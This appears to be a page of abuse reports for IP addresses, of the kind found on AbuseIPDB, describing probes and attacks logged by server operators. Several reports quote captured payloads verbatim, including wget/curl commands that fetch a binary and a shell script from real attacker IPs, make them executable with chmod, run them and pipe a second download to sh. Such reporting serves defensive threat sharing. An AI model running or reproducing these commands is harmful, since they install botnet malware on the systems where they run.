Critical Exploit Attack (NetBIOS) detected on Target Port 139 from IP 194.165.16.161 (LT). This is a ...
show moreCritical Exploit Attack (NetBIOS) detected on Target Port 139 from IP 194.165.16.161 (LT). This is an attempt to exploit a known vulnerability over NetBIOS.
show less
Connection from 194.135.34.200 on Target Port 3000 detected. Log shows an attempt to execute 'wget h ...
show moreConnection from 194.135.34.200 on Target Port 3000 detected. Log shows an attempt to execute 'wget http://172.237.55.180/c -O-
show less
Suspicious HTTP POST request to root path (/) on port 3000. The request appeared to be a blind probe ...
show moreSuspicious HTTP POST request to root path (/) on port 3000. The request appeared to be a blind probe or vulnerability scan targeting Next.js applications.
Server responded with 500 Internal Server Error due to malformed request/environment exposure triggered by the bot.
show less
Detected a malicious Remote Code Execution (RCE) and Command Injection attempt targeting my web serv ...
show moreDetected a malicious Remote Code Execution (RCE) and Command Injection attempt targeting my web server.
Attack Details:
The attacker attempted to inject shell commands via an HTTP POST request to download and execute a malicious binary file named 'x86' from the attacker's server (http://45.61.157.12/nuts/x86).
The payload utilizes 'wget', 'curl', and 'chmod' commands, attempting to join an IoT botnet (payload signature: 'reactOnMynuts').
Evidence (Server Log):
[Error: Command failed: (cd /dev;(busybox wget -O x86 http://45.61.157.12/nuts/x86||curl -s -o x86 http://45.61.157.12/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://45.61.157.12/nuts/bolts -O-)|sh)&]
show less
Detected a Remote Code Execution (RCE) attempt targeting a web application endpoint.
The attacker t ...
show moreDetected a Remote Code Execution (RCE) attempt targeting a web application endpoint.
The attacker tried to inject shell commands to download and execute a malicious script ('cat.sh') from their server.
Attack Payload Log:
"cmd: cd /tmp; wget http://212.85.24.46:84/cat.sh || curl http://212.85.24.46:84/cat.sh -o cat.sh; chmod 777 cat.sh; ./cat.sh"
Error logs indicate they attempted to use 'wget', 'curl', and 'sh' commands.
show less
Unauthorized TCP connection to Port 135. The IP initiated a DCERPC Bind followed by an IOXIDResolver ...
show moreUnauthorized TCP connection to Port 135. The IP initiated a DCERPC Bind followed by an IOXIDResolver (ServerAlive2) request. This indicates an attempt to enumerate network interfaces and perform OS fingerprinting via RPC.
show less
Port Scan
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.